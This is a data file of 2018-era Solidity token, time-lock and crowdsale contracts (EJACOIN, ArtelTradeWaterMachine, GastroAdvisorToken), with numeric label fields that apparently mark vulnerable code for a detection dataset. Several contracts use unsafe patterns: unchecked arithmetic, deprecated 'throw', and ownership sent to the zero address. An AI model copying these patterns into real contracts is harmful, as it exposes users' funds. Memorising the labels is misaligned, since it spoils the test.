Crowdsale(START_TIME > now ? START_TIME : now, 1524355200, 10000 * TOKEN_DECIMAL_MULTIPLIER, 0x8f302c391b2b6fd064ae8257d09a13d9fedde207)
CappedCrowdsale(5000000000000000000000)
{
token = _token;
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[1] memory addresses = [address(0xd03d4529efbef18770d725e9cea045cd8e5a0997)];
uint[1] memory amounts = [uint(1680000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
Initialized();
}
function createTokenContract() internal returns (MintableToken) {
return MintableToken(0);
}
function internalCheck() internal returns (bool) {
bool result = !isFinalized && hasEnded();
Checked(result);
return result;
}
function internalAction() internal {
finalization();
Finalized();
isFinalized = true;
}
} | 0 | 338 |
pragma solidity ^0.4.19;
contract Token {
function name() public constant returns (string);
function symbol() public constant returns (string);
function decimals() public constant returns (uint8);
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender)
public constant returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(
address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenTimeLock {
function TokenTimeLock (address _donationAddress) public {
donationAddress = _donationAddress;
}
function lock (
Token _token, address _beneficiary, uint256 _amount,
uint256 _unlockTime) public returns (uint256) {
require (_amount > 0);
uint256 id = nextLockID++;
TokenTimeLockInfo storage lockInfo = locks [id];
lockInfo.token = _token;
lockInfo.beneficiary = _beneficiary;
lockInfo.amount = _amount;
lockInfo.unlockTime = _unlockTime;
Lock (id, _token, _beneficiary, _amount, _unlockTime);
require (_token.transferFrom (msg.sender, this, _amount));
return id;
}
function unlock (uint256 _id) public {
TokenTimeLockInfo memory lockInfo = locks [_id];
delete locks [_id];
require (lockInfo.amount > 0);
require (lockInfo.unlockTime <= block.timestamp);
Unlock (_id);
require (
lockInfo.token.transfer (
lockInfo.beneficiary, lockInfo.amount));
}
address public donationAddress;
uint256 private nextLockID = 0;
mapping (uint256 => TokenTimeLockInfo) public locks;
struct TokenTimeLockInfo {
Token token;
address beneficiary;
uint256 amount;
uint256 unlockTime;
}
event Lock (
uint256 indexed id, Token indexed token, address indexed beneficiary,
uint256 amount, uint256 unlockTime);
event Unlock (uint256 indexed id);
} | 0 | 215 |
pragma solidity ^0.4.21;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
emit Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "EJACOIN";
string constant TOKEN_SYMBOL = "EJAC";
bool constant PAUSED = false;
address constant TARGET_USER = 0xB030dC3457e03e6a5c2e9c428Cbd8F104B5282d5;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
, ERC223Token
{
event Initialized();
bool public initialized = false;
function MainToken() public {
init();
transferOwnership(TARGET_USER);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0xb030dc3457e03e6a5c2e9c428cbd8f104b5282d5)];
uint[1] memory amounts = [uint(250000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,341 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicERC20
{
string public standard = 'ERC20';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
bool public isTokenTransferable = true;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address _to, uint256 _value) public {
assert(isTokenTransferable);
assert(balanceOf[msg.sender] >= _value);
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
assert(isTokenTransferable);
if (balanceOf[_from] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if (_value > allowance[_from][msg.sender]) throw;
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
}
contract BasicCrowdsale is Ownable
{
using SafeMath for uint256;
BasicERC20 token;
address public ownerWallet;
uint256 public startTime;
uint256 public endTime;
uint256 public totalEtherRaised = 0;
uint256 public minDepositAmount;
uint256 public maxDepositAmount;
uint256 public softCapEther;
uint256 public hardCapEther;
mapping(address => uint256) private deposits;
constructor () public {
}
function () external payable {
buy(msg.sender);
}
function getSettings () view public returns(uint256 _startTime,
uint256 _endTime,
uint256 _rate,
uint256 _totalEtherRaised,
uint256 _minDepositAmount,
uint256 _maxDepositAmount,
uint256 _tokensLeft ) {
_startTime = startTime;
_endTime = endTime;
_rate = getRate();
_totalEtherRaised = totalEtherRaised;
_minDepositAmount = minDepositAmount;
_maxDepositAmount = maxDepositAmount;
_tokensLeft = tokensLeft();
}
function tokensLeft() view public returns (uint256)
{
return token.balanceOf(address(0x0));
}
function changeMinDepositAmount (uint256 _minDepositAmount) onlyOwner public {
minDepositAmount = _minDepositAmount;
}
function changeMaxDepositAmount (uint256 _maxDepositAmount) onlyOwner public {
maxDepositAmount = _maxDepositAmount;
}
function getRate() view public returns (uint256) {
assert(false);
}
function getTokenAmount(uint256 weiAmount) public view returns(uint256) {
return weiAmount.mul(getRate());
}
function checkCorrectPurchase() view internal {
require(startTime < now && now < endTime);
require(msg.value > minDepositAmount);
require(msg.value < maxDepositAmount);
require(totalEtherRaised + msg.value < hardCapEther);
}
function isCrowdsaleFinished() view public returns(bool)
{
return totalEtherRaised >= hardCapEther || now > endTime;
}
function buy(address userAddress) public payable {
require(userAddress != address(0));
checkCorrectPurchase();
uint256 tokens = getTokenAmount(msg.value);
totalEtherRaised = totalEtherRaised.add(msg.value);
token.transferFrom(address(0x0), userAddress, tokens);
if (totalEtherRaised >= softCapEther)
{
ownerWallet.transfer(this.balance);
}
else
{
deposits[userAddress] = deposits[userAddress].add(msg.value);
}
}
function getRefundAmount(address userAddress) view public returns (uint256)
{
if (totalEtherRaised >= softCapEther) return 0;
return deposits[userAddress];
}
function refund(address userAddress) public
{
assert(totalEtherRaised < softCapEther && now > endTime);
uint256 amount = deposits[userAddress];
deposits[userAddress] = 0;
userAddress.transfer(amount);
}
}
contract CrowdsaleCompatible is BasicERC20, Ownable
{
BasicCrowdsale public crowdsale = BasicCrowdsale(0x0);
function unfreezeTokens() public
{
assert(now > crowdsale.endTime());
isTokenTransferable = true;
}
function initializeCrowdsale(address crowdsaleContractAddress, uint256 tokensAmount) onlyOwner public {
transfer((address)(0x0), tokensAmount);
allowance[(address)(0x0)][crowdsaleContractAddress] = tokensAmount;
crowdsale = BasicCrowdsale(crowdsaleContractAddress);
isTokenTransferable = false;
transferOwnership(0x0);
}
}
contract EditableToken is BasicERC20, Ownable {
using SafeMath for uint256;
function editTokenProperties(string _name, string _symbol, int256 extraSupplay) onlyOwner public {
name = _name;
symbol = _symbol;
if (extraSupplay > 0)
{
balanceOf[owner] = balanceOf[owner].add(uint256(extraSupplay));
totalSupply = totalSupply.add(uint256(extraSupplay));
emit Transfer(address(0x0), owner, uint256(extraSupplay));
}
else if (extraSupplay < 0)
{
balanceOf[owner] = balanceOf[owner].sub(uint256(extraSupplay * -1));
totalSupply = totalSupply.sub(uint256(extraSupplay * -1));
emit Transfer(owner, address(0x0), uint256(extraSupplay * -1));
}
}
}
contract ThirdPartyTransferableToken is BasicERC20{
using SafeMath for uint256;
struct confidenceInfo {
uint256 nonce;
mapping (uint256 => bool) operation;
}
mapping (address => confidenceInfo) _confidence_transfers;
function nonceOf(address src) view public returns (uint256) {
return _confidence_transfers[src].nonce;
}
function transferByThirdParty(uint256 nonce, address where, uint256 amount, uint8 v, bytes32 r, bytes32 s) public returns (bool){
assert(where != address(this));
assert(where != address(0x0));
bytes32 hash = sha256(this, nonce, where, amount);
address src = ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash),v,r,s);
assert(balanceOf[src] >= amount);
assert(nonce == _confidence_transfers[src].nonce+1);
assert(_confidence_transfers[src].operation[uint256(hash)]==false);
balanceOf[src] = balanceOf[src].sub(amount);
balanceOf[where] = balanceOf[where].add(amount);
_confidence_transfers[src].nonce += 1;
_confidence_transfers[src].operation[uint256(hash)] = true;
emit Transfer(src, where, amount);
return true;
}
}
contract ERC20Token is CrowdsaleCompatible, EditableToken, ThirdPartyTransferableToken {
using SafeMath for uint256;
constructor() public
{
balanceOf[0x133a0572480b8b4e2063a6ec3805f19aae951ba7] = uint256(10000000000) * 10**18;
emit Transfer(address(0x0), 0x133a0572480b8b4e2063a6ec3805f19aae951ba7, balanceOf[0x133a0572480b8b4e2063a6ec3805f19aae951ba7]);
transferOwnership(0x133a0572480b8b4e2063a6ec3805f19aae951ba7);
totalSupply = 10000000000 * 10**18;
name = 'ArtelTradeWaterMachine';
symbol = 'ATWM';
decimals = 18;
}
function () public {
assert(false);
}
} | 1 | 3,975 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TokenRecover is Ownable {
function recoverERC20(
address _tokenAddress,
uint256 _tokens
)
public
onlyOwner
returns (bool success)
{
return ERC20Basic(_tokenAddress).transfer(owner, _tokens);
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract RBACMintableToken is MintableToken, RBAC {
string public constant ROLE_MINTER = "minter";
modifier hasMintPermission() {
checkRole(msg.sender, ROLE_MINTER);
_;
}
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC1363 is ERC20, ERC165 {
function transferAndCall(address _to, uint256 _value) public returns (bool);
function transferAndCall(address _to, uint256 _value, bytes _data) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value) public returns (bool);
function transferFromAndCall(address _from, address _to, uint256 _value, bytes _data) public returns (bool);
function approveAndCall(address _spender, uint256 _value) public returns (bool);
function approveAndCall(address _spender, uint256 _value, bytes _data) public returns (bool);
}
contract ERC1363Receiver {
function onTransferReceived(address _operator, address _from, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363Spender {
function onApprovalReceived(address _owner, uint256 _value, bytes _data) external returns (bytes4);
}
contract ERC1363BasicToken is SupportsInterfaceWithLookup, StandardToken, ERC1363 {
using AddressUtils for address;
bytes4 internal constant InterfaceId_ERC1363Transfer = 0x4bbee2df;
bytes4 internal constant InterfaceId_ERC1363Approve = 0xfb9ec8ce;
bytes4 private constant ERC1363_RECEIVED = 0x88a7ca5c;
bytes4 private constant ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
_registerInterface(InterfaceId_ERC1363Transfer);
_registerInterface(InterfaceId_ERC1363Approve);
}
function transferAndCall(
address _to,
uint256 _value
)
public
returns (bool)
{
return transferAndCall(_to, _value, "");
}
function transferAndCall(
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transfer(_to, _value));
require(
checkAndCallTransfer(
msg.sender,
_to,
_value,
_data
)
);
return true;
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
return transferFromAndCall(_from, _to, _value, "");
}
function transferFromAndCall(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool)
{
require(transferFrom(_from, _to, _value));
require(
checkAndCallTransfer(
_from,
_to,
_value,
_data
)
);
return true;
}
function approveAndCall(
address _spender,
uint256 _value
)
public
returns (bool)
{
return approveAndCall(_spender, _value, "");
}
function approveAndCall(
address _spender,
uint256 _value,
bytes _data
)
public
returns (bool)
{
approve(_spender, _value);
require(
checkAndCallApprove(
_spender,
_value,
_data
)
);
return true;
}
function checkAndCallTransfer(
address _from,
address _to,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return false;
}
bytes4 retval = ERC1363Receiver(_to).onTransferReceived(
msg.sender, _from, _value, _data
);
return (retval == ERC1363_RECEIVED);
}
function checkAndCallApprove(
address _spender,
uint256 _value,
bytes _data
)
internal
returns (bool)
{
if (!_spender.isContract()) {
return false;
}
bytes4 retval = ERC1363Spender(_spender).onApprovalReceived(
msg.sender, _value, _data
);
return (retval == ERC1363_APPROVED);
}
}
contract BaseToken is DetailedERC20, CappedToken, RBACMintableToken, BurnableToken, ERC1363BasicToken, TokenRecover {
constructor(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap
)
DetailedERC20(_name, _symbol, _decimals)
CappedToken(_cap)
public
{}
}
contract GastroAdvisorToken is BaseToken {
uint256 public lockedUntil;
mapping(address => uint256) lockedBalances;
string constant ROLE_OPERATOR = "operator";
modifier canTransfer(address _from, uint256 _value) {
require(mintingFinished || hasRole(_from, ROLE_OPERATOR));
require(_value <= balances[_from].sub(lockedBalanceOf(_from)));
_;
}
constructor(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap,
uint256 _lockedUntil
)
BaseToken(_name, _symbol, _decimals, _cap)
public
{
lockedUntil = _lockedUntil;
addMinter(owner);
addOperator(owner);
}
function transfer(
address _to,
uint256 _value
)
public
canTransfer(msg.sender, _value)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
canTransfer(_from, _value)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function lockedBalanceOf(address _who) public view returns (uint256) {
